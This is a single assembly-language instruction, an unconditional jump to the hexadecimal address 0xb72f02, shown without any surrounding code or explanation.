jmp 0xb72f02